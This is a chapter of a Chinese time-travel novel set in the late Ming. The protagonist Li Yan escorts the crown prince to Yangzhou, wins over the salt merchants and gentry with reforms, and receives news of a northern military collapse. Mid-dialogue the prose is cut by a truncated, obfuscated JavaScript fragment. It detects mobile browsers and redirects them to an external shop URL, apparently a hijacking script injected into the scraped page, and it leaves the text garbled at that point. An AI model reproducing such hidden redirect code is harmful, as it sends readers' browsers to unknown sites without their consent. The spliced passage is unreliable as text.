群情激愤。李炎顺应民意，当场判处赵文华斩立决。刽子手刀落，血溅三尺，百姓欢呼。 这一举动，震动了整个淮安，也震动了江南——李炎不仅敢杀贪官，还敢让百姓审判。这是前所未有的。 回到知府衙门，太子轻声问：“太保，这样……合适吗？父皇常说，刑不上大夫……” “殿下，乱世当用重典。”李炎道，“赵文华之罪，天怒人怨。让百姓审判，是为了告诉天下：朝廷与百姓站在一起，贪官污吏，人人得而诛之。” 太子若有所思。 午时，船队重新启程。淮安百姓自发聚集码头送行，跪倒一片：“太子千岁！太保青天！” 船离岸时，李炎站在船头，回望淮安城。 这一战，他赢了。不仅清除了刘泽清在淮安的势力，更赢得了民心。 但前面，还有扬州，还有更复杂的江南局势。 不过他不怕。 因为他有太子，有民心，有这千千万万渴望太平的百姓。 船队顺流而下，向着扬州，向着那个烟花三月、危机四伏的江南。 而李炎知道，真正的较量，才刚刚开始。 16. 扬州烟雨 五月初三·抵达扬州 暮春的扬州，烟柳画桥，风帘翠幕。运河两岸，酒旗招展，丝竹声隐约可闻。这本该是“十年一觉扬州梦”的繁华地，但此刻码头上却弥漫着诡异的寂静。 李炎的船队缓缓靠岸。十二艘明轮船在扬州人眼中是奇怪的造物，两侧转动的轮子哗啦作响，引得岸边民众远远围观，却不敢靠近——码头已被清场，数百官兵持戟肃立，气氛凝重。 “殿下，到了。”李炎轻声对太子道。 朱慈烺穿着杏黄常服，站在船头，望着这座江南名都。十岁的孩子第一次见到如此规模的城池——北京宏伟，但肃杀；扬州精致，却暗藏锋芒。他深吸一口气，挺直小小的脊背。 跳板放下，仪仗先行。孙传庭率三百精兵登岸列队，盔甲在午后阳光下泛着冷光。然后是太子銮驾，李炎骑马在侧，宋应星、春梅等人随后。 码头上，迎接的官员队列显得有些单薄。为首的是一位五十多岁的文官，穿着二品孔雀补子官服，面容清瘦，须发花白——正是南京兵部尚书史可法。他身后跟着扬州知府、江都县令等地方官，再后面是几个本地士绅代表。 “臣史可法，恭迎太子殿下！”史可法率众跪拜，声音洪亮却带着疲惫。 “诸位请起。”太子按照李炎教的，声音清脆，“孤奉父皇之命南巡，宣示皇恩，抚慰江南。有劳史尚书、诸位大人远迎。” 场面话说完，史可法上前两步，低声道：“李太保，借一步说话。” 两人走到一旁。史可法面色凝重：“太保，扬州情形复杂。魏国公、诚意伯等人虽未亲至，但他们的耳目遍布全城。昨夜，有人在城中散布谣言，说太子南巡是要加征‘南巡税’，又说朝廷要迁都南京，强占民宅……” “谁散布的？”李炎眼神一冷。 “查不到源头，但肯定与那些人有关。”史可法苦笑，“更麻烦的是，扬州三大盐商今日集体称病，拒绝出席接风宴。他们是江南钱袋，他们不动，其他士绅都在观望。” 李炎望向扬州城方向。城墙在阳光下泛着青色，城楼飞檐如燕翅，确实是个锦绣之地，也是个龙潭虎穴。 “史尚书，接风宴照常举行。他们不来，是他们失礼。太子殿下仁德，不会计较。”李炎顿了顿，“不过，明天我要在平山堂公开讲学，请史尚书广发请帖——凡扬州士绅、学子，皆可来听。题目是‘新政与江南’。” 史可法一怔：“太保要公开辩论？” “不是辩论，是阐明。”李炎道，“江南士绅对朝廷有疑虑，我就把朝廷的政策说清楚。清丈田亩不是为了加税，漕运改革不是为了夺利，太子南巡不是为了迁都——这些，都要让江南百姓亲耳听到。” “可若有人当场发难……” “那就更好了。”李炎笑了，“正好让所有人看看，哪些人是真心为江南，哪些人是为一己之私。” 史可法深深看了李炎一眼，终于点头：“好，下官去办。” --- 申时·史可法私邸 太子被安排在扬州最安全的馆驿——原漕运总督衙门，孙传庭派重兵把守。李炎则随史可法来到他的临时住所，一处简朴的三进院落。 书房内，两人对坐。春梅奉茶后退下，守在门外。 “史尚书，淮安的事，你听说了吧？”李炎开门见山。 史可法点头，神色复杂：“赵文华被当众问斩，淮安百姓拍手称快。太保此举……震动江南。有人说您果决，也有人说您残酷。” “残酷？”李炎冷笑，“赵文华抓染疫灾民制造疫船，欲害太子时，可想过残酷？那些灾民在船上等死时，谁对他们仁慈？” 史可法沉默片刻：“太保说得对。只是……江南官场盘根错节，赵文华虽是小卒，却牵动不少人的利益。您这一刀，砍出了血仇。” “该流血时就要流血。”李炎正色道，“史尚书，我知道你为难。你夹在北京和江南之间，夹在忠君和乡情之间。但有些话，我必须说清楚——” 他站起身，走到窗前：“大明如今是重病之人，庸医治不了，必须下猛药。清丈田亩、整顿漕运、改革军制，都是猛药，会疼，会流血。但不下药，就是等死。” 史可法苦笑：“下官何尝不知？只是江南……经不起折腾了。连续十几年加派，百姓困苦，士绅怨怼。若再强行推行新政，只怕……真会逼出个‘江南朝廷’来。” “所以太子来了。”李炎转身，“太子亲临，就是朝廷的态度——朝廷重视江南，愿与江南共度时艰。但前提是，江南必须是大明的江南，不能是某些人的江南。” 他走回桌边，压低声音：“史尚书，魏国公他们到底想怎样？是真要拥立福王，还是以此为筹码，要朝廷让步？” 史可法犹豫良久，终于道：“两者都有。魏国公徐弘基是开国功臣徐达之后，世代镇守南京，在江南根基深厚。他确实担心北方不保，想拥立福王，保住江南半壁。但更多人是跟风——诚意伯刘孔昭想恢复祖上荣光，盐商们想保住特权，士绅们想减税免赋……各怀鬼胎。” “刘泽清呢？” “刘泽清是投机者。”史可法不屑，“此人毫无忠义，只想拥兵自重。他支持魏国公，是因为魏国公许诺事成后封他镇南王，节制江南兵马。” 李炎沉思。局面比他想的更复杂，但也不是无解——敌人不是铁板一块，就有分化瓦解的可能。 “史尚书，若我答应三条：第一，今年江南赋税减免三成；第二，漕运改革优先保障江南商路；第三，在南京设‘江南咨议局’，由士绅代表参与地方政务。你说，会有多少人倒向朝廷？” 史可法眼睛一亮：“若真能兑现，至少六成士绅会动摇。可是……赋税减免，军饷何来？漕运改革，触及漕帮利益；江南咨议局，更是分权之举。朝廷那边……” “朝廷那边我去说服。”李炎断然道，“但江南必须先表态——公开支持太子，公开反对分裂。只要做到这一点，三条承诺，我以人格担保，必会兑现。” 史可法起身，深深一揖：“太保有此胸襟，下官……愿效死力！” “不忙。”李炎扶起他，“空口无凭，我要看到实际行动。明日的平山堂讲学，就是第一关。史尚书，我要你联络所有能联络的士绅、学子，务必到场。能不能成，就看明天了。” “下官明白！” --- 戌时·暗流涌动 扬州城，盐商郑家花园。 这里是扬州盐商之首郑元化的私邸，亭台楼阁，奢华不输王府。今夜，后园水榭中聚集了十几个人，烛光在纱帘后摇曳，映出一张张神色各异的臉。 主位上是个富态的中年人，穿着云锦常服，手指上的翡翠扳指在烛光下泛着绿光——正是郑元化。左手边是个清瘦的老者，南京礼部侍郎杜文焕；右手边是个精悍的武将，扬州卫指挥使马士英。 “诸位，太子到了，李炎也到了。”郑元化缓缓开口，“明日平山堂讲学，去还是不去？” 杜文焕捻须：“去，当然要去。不去，显得我们心虚。况且，老夫也想听听，这位李太保到底有何高见。” 马士英冷哼：“有什么好听的？无非是老一套：忠君爱国，共度时艰。可朝廷这些年是怎么对我们的？加派、加派、再加派！我们盐商每年纳盐税三百万两，朝廷还嫌不够，还要清丈田亩，查我们的隐田！这是要把我们往死里逼！” “马指挥使稍安勿躁。”郑元化摆手，“李炎此人，不可小觑。他在临清整顿漕运，在北京扳倒魏藻德，在淮安当众斩赵文华……不是易与之辈。明日讲学，恐怕是场鸿门宴。” “鸿门宴又如何？”一个年轻的声音响起。 说话的是个二十多岁的书生，郑元化的侄子郑森（注：即历史上后来的郑成功，此时尚未改名）。他刚从南京国子监回来，一身儒衫，眼神锐利。 “森儿有何高见？”郑元化问。 郑森起身：“伯父，诸位前辈，小侄以为，明日非但要赴会，还要当众发问。李炎不是要讲新政吗？那就问他：新政的钱从哪来？是不是又要加税？清丈田亩，会不会纵容胥吏勒索？漕运改革，会不会断了十万漕工的生计？他若答得好，咱们再议；若答不好……” 他顿了顿：“那就让全扬州看看，朝廷派来的，不过是个夸夸其谈之辈。” 杜文焕点头：“郑公子说得有理。不过，发问要讲究策略，不能显得我们故意刁难。” “晚辈明白。”郑森拱手，“小侄已联络国子监同窗二十余人，明日都会到场。我们以学子身份发问，合情合理。” 马士英大笑：“好！就这么办！我倒要看看，李炎如何应对！” 郑元化最后拍板：“既如此，明日我们都去。但记住——多看，多听，少说。李炎若真有诚意，咱们再谈下一步。” 众人散去后，郑森独自留在水榭。他望着池中月影，忽然低声自语：“李炎……你到底是个能臣，还是个奸雄？” 月色如水，无人应答。 --- 五月初四·平山堂 平山堂在扬州城西北，蜀冈之上。此处地势高阔，可俯瞰全城，欧阳修任扬州太守时所建，取“远山来与此堂平”之意，历来是文人雅集之所。 今日的平山堂，气氛却与往日不同。 辰时刚过，堂前广场已聚集了上千人。士绅、学子、商贾、甚至普通百姓，都闻讯而来。朝廷贴出的告示说，太子太保李炎将在此公开讲学，阐明新政，回答疑问——这可是前所未有的事。 堂前搭起了木台，台上设两座：主座是李炎，旁座是太子。台下前排是史可法等官员，后面是士绅代表，再后面是黑压压的人群。 郑元化、杜文焕、马士英等人坐在前排右侧，郑森和他的同窗们在学子区。所有人都神色肃穆，等待着。 巳时正，鼓乐响起。 太子朱慈烺先登台。他穿着杏黄袍服，小小年纪却步履沉稳，走到台前，对着台下拱手——这个举动让众人一愣，随即爆发出欢呼。太子亲自行礼，这是何等的礼贤下士！ “扬州父老，诸位贤达。”太子的声音通过铜皮喇叭传开，虽稚嫩但清晰，“孤奉父皇之命南巡，非为游赏，实为宣示：朝廷从未忘记江南，父皇从未忘记他的子民。” 他顿了顿，继续道：“这些年，天灾不断，贼寇四起，朝廷为剿贼安民，不得已加派赋税，致使江南父老负担沉重。此非朝廷所愿，实乃时势所迫。今孤南来，就是要亲眼看看江南疾苦，亲耳听听江南心声。朝廷新政，亦当以江南福祉为先。” 这番话是李炎教的，但太子说得情真意切。台下不少人动容，尤其是普通百姓，听到太子说“亲眼看看江南疾苦”，许多老人已泪目。 太子退到旁座，李炎登台。 他今日未穿官服，而是一身青色儒衫，头戴方巾，完全是个书生打扮。这个细节让台下士绅有些意外——他们以为会是蟒袍玉带的钦差大臣，没想到如此朴素。 “诸位扬州父老，李某今日在此，不是以太保身份，而是以一个读书人身份，与诸位探讨治国安民之道。”李炎开口，声音平和，“我知道，江南对朝廷有疑虑，对新政有担忧。今日，我就把这些疑虑、担忧，一一说开。” 他从袖中取出一卷文书：“这是户部整理的江南赋税账册——过去十年，江南赋税从每年四百万两增至六百万两，增加了五成。而同时，江南的田亩、人口并未增加五成。多出来的税，从哪里来？从百姓牙缝里抠出来，从商贾血汗里榨出来。” 台下哗然。谁也没想到，李炎开场不是为自己辩护，而是揭露朝廷弊政。 “朝廷知道江南苦，皇上知道江南苦。”李炎继续，“所以，从今年起，江南赋税减免三成——不是空话，是已经写入今年预算，皇上御笔批准。” 他展开另一卷文书：“这是圣旨副本，诸位可传阅。” 圣旨由亲兵捧着，在台下前排传阅。郑元化接过细看，确是崇祯御笔，玉玺清晰。他手微微颤抖——减免三成，意味着盐商可少纳近百万两！这是实实在在的好处！ “但减免赋税，军饷何来？”李炎自问自答，“靠整顿漕运。过去漕运，四百万石漕粮，实到京师不足三百万，损耗百万石。这些损耗，大多进了贪官污吏、漕帮头目的腰包。整顿漕运，就是要把这些钱省下来，充作军饷，而不是再加税。” 他指向台下：“我知道，漕运关系十万漕工生计。所以新政规定：凡漕工，一律转为漕军，按月发饷，伤亡有抚恤，老弱有安置。从此不再是苦力，是朝廷的兵！” 这话让台下一些漕工代表激动不已。他们苦漕帮久矣，若真能转为漕军，那是天大的好事！ “至于清丈田亩——”李炎顿了顿，台下顿时安静，“清丈不是为了加税，是为了公平。扬州郑家、杜家、马家，哪家没有隐田？哪家不是万亩良田只报千亩？富者田连阡陌而不纳税，贫者无立锥之地却要纳粮。这公平吗？” 他直视前排的郑元化等人：“清丈之后，按实有田亩纳税，但税率降低。总体算下来，大多数士绅要纳的税，不会比现在多，甚至可能减少。而朝廷的税收，却能增加——因为那些真正的大户，不能再隐匿田产。” 郑元化等人脸色变幻。这话戳中了他们的要害——清丈确实会让他们多纳税，但若税率降低，也许真如李炎所说，不会增加太多。而且最重要的是，李炎当众点出他们隐匿田产，这是给台阶下：现在配合清丈，既往不咎；若顽抗，就新账旧账一起算。 “最后，是关于江南咨议局。”李炎抛出最后一个筹码，“朝廷拟在南京设江南咨议局，由各府推举士绅代表参与，凡涉及江南的政令，需咨议局审议通过方可施行。朝廷不擅专，愿与江南士绅共治。” 此言一出，全场震动！ 共治！这是前所未有的权力下放！意味着江南士绅可以参与决策，不再是任朝廷宰割！ 杜文焕激动得胡须颤抖，马士英瞪大眼睛，郑元化手中茶杯差点掉落。 台下的郑森也怔住了。他以为李炎会强硬施压，没想到竟是如此让步。这已经不是让步，是分享权力！ “太保此言当真？”郑元化忍不住起身。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17133970|195859||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“当着太子殿下的面，当着扬州父老的面，岂敢戏言？”李炎正色道，“但——有个前提。” 他环视全场：“江南必须明确表态，支持太子，反对分裂。凡参与咨议局者，须宣誓效忠朝廷，永不生二心。” 条件很合理。给你权力，你总得表忠心。 郑元化与杜文焕、马士英交换眼神，三人微微点头。 “太保，”郑元化拱手，“若朝廷真能兑现这三条，我郑家第一个支持！” “我杜家支持！” “马某愿效犬马之劳！” 前排士绅纷纷表态。台下百姓更是欢呼：“太子千岁！太保青天！” 李炎心中松了口气。这一关，算是过了。 但他知道，真正的考验在后面——如何兑现这些承诺？如何应对朝廷内部的反对？如何在江南推行新政？ 不过现在，至少有了一个好的开始。 --- 午时·讲学之后 讲学结束，人群久久不散。许多士绅围上来，想与李炎进一步详谈。李炎让史可法安排，三日后在史府举行茶会，专门商讨新政细则。 回馆驿的路上，太子轻声问：“太保，您答应那些条件，朝廷会同意吗？” “会同意的。”李炎道，“因为这是唯一的办法。殿下，治国如治水，堵不如疏。江南的怨气积蓄已久，光靠压是压不住的，必须给他们出口。赋税减免、漕运改革、咨议局，就是三个出口。” “可若他们得寸进尺呢？” “那就看谁的拳头硬了。”李炎笑了笑，“我给了甜头，但也埋了钉子——漕工转为漕军，就是十万忠于朝廷的兵；清丈田亩，就掌握了士绅的把柄；咨议局看似分权，实则把反对者都放到明面上，便于监控。一手胡萝卜，一手大棒，他们才会老实。” 太子若有所思：“所以……治国不能只讲仁德，也要讲手段？” “对。”李炎点头，“仁德是目的，手段是方法。为了仁德的目的，有时需要用不仁德的手段。这就是为君者的难处。” 两人正说着，孙传庭匆匆赶来：“大人，有紧急军情！” --- 未时·北方噩耗 馆驿密室，烛光摇曳。 孙传庭呈上军报，脸色沉重：“宁武关……失守了。” “什么？！”李炎霍然起身，“周遇吉呢？吴三桂的援军呢？” “周总兵战死，守军伤亡殆尽。”孙传庭声音嘶哑，“吴三桂的两万援军……根本就没到宁武关。探马来报，他们走到代州就停住了，说粮草不继，需要休整。等宁武关破的消息传来，吴三桂立刻率军退回大同。” 李炎一拳砸在桌上：“吴三桂！这个墙头草！” 宁武关失守，意味着闯军打开了通往大同、宣府的门户。一旦这两地再失，北京就危险了。 “闯军主将是谁？兵力多少？” “刘宗敏，兵力约八万。不过他们攻宁武关损失不小，现在应该在休整。”孙传庭道，“但更麻烦的是……探马来报，满清有异动。” “多尔衮？” “对。多尔衮率六万八旗兵，已出山海关，向蓟州方向移动。吴三桂……没有阻拦。” 李炎闭上眼睛。最坏的情况发生了——闯军和清军，可能同时进攻北京。而吴三桂这个关键棋子，明显在观望，甚至可能已暗中与清军勾结。 “北京那边有消息吗？” “李国桢总兵来信，说京营已进入战时状态，但兵力只有三万，且新兵过半。他请求……请求太子和太保速归。” 回北京？李炎心中挣扎。江南这边刚打开局面，若此时离开，前功尽弃。但不回去，北京危在旦夕，万一有失…… “大人，还有件事。”孙传庭低声道，“夜枭从大同传回密报，说吴三桂最近与蒙古科尔沁部往来频繁，可能……已与满清达成某种协议。” 果然！吴三桂这个反复小人，终究还是走了历史的老路。 李炎强迫自己冷静。现在必须做抉择：是回北京救急，还是留在江南稳住大局？ “传令。”他终于开口，“第一，给李国桢回信：死守北京，至少守一个月。告诉他，朝廷正在筹集援军粮饷，不日即到。” “第二，给史可法传话：江南咨议局之事，由他全权负责，务必在半月内成立。赋税减免、漕运改革，同步推进。” “第三，让宋应星加快军器制造，特别是新式火炮。造好的，立刻装船运往天津，再从陆路运往北京。” “第四……”李炎顿了顿，“我写封信，你派人秘密送给吴三桂。” “大人还要联络吴三桂？” “要。”李炎眼中闪过寒光，“我要给他最后一个机会。若他迷途知返，既往不咎；若他一意孤行……那就别怪我不客气。” 他提笔写信，言辞恳切又隐含威胁： “平西伯台鉴：宁武关事，朝廷已知。伯若及时醒悟，率军东进，击退闯贼，则功过相抵，朝廷不究。若坐观成败，或生异心……伯当知，朝廷虽弱，尚有江南百万石粮，十万新军。届时南北夹击，伯将何去？望三思。” 这封信是敲打，也是试探。若吴三桂还有顾忌，或许会回头；若铁了心降清，那就要做好开战的准备。 信写完，李炎又给崇祯写密折，陈述江南进展和北方危局，建议：若北京危急，可命太子在南京监国，以保国本。 这是最坏的打算。但作为辅政大臣，他必须考虑。 --- 申时·春梅的心事 处理完军务，李炎走出密室，发现春梅站在门外，眼圈发红。 “怎么了？”他问。 春梅跪下，递上一封信：“大人……奴婢弟弟，有消息了。” 李炎接过信，是王铁柱从保定传来的。信中说，他们找到了春梅的弟弟赵铁柱——但人已经死了，死在保定城外的一个乱葬岗，身上有闯军的刀伤，看样子是几个月前的事了。 “春梅……”李炎不知该如何安慰。 春梅却擦干眼泪，起身：“大人，奴婢没事。这乱世，能活下来是运气，活不下来……是命。奴婢只求大人一件事——” 她抬起头，眼神坚定：“带奴婢回北京。奴婢要亲眼看到闯贼覆灭，看到太平到来。” 李炎心中震动。这个普通的宫女，在经历这么多后，依然保持着这份坚韧。 “好。”他郑重承诺，“我答应你，一定带你看到太平。” 春梅破涕为笑，深深一揖。 窗外，扬州又下起了细雨。烟雨朦胧中，这座繁华之城显得如此脆弱，又如此坚韧。 就像这个国家，这个文明。 风雨飘摇，却从未放弃。 而李炎，这个来自四百年后的穿越者，将用自己的全部，守护这份坚韧。 哪怕前路是刀山火海，他也要闯过去。 因为身后，是春梅这样的普通人，是千千万万渴望太平的百姓。 是他们，让他有勇气，继续走下去。 --- 【第十六章完】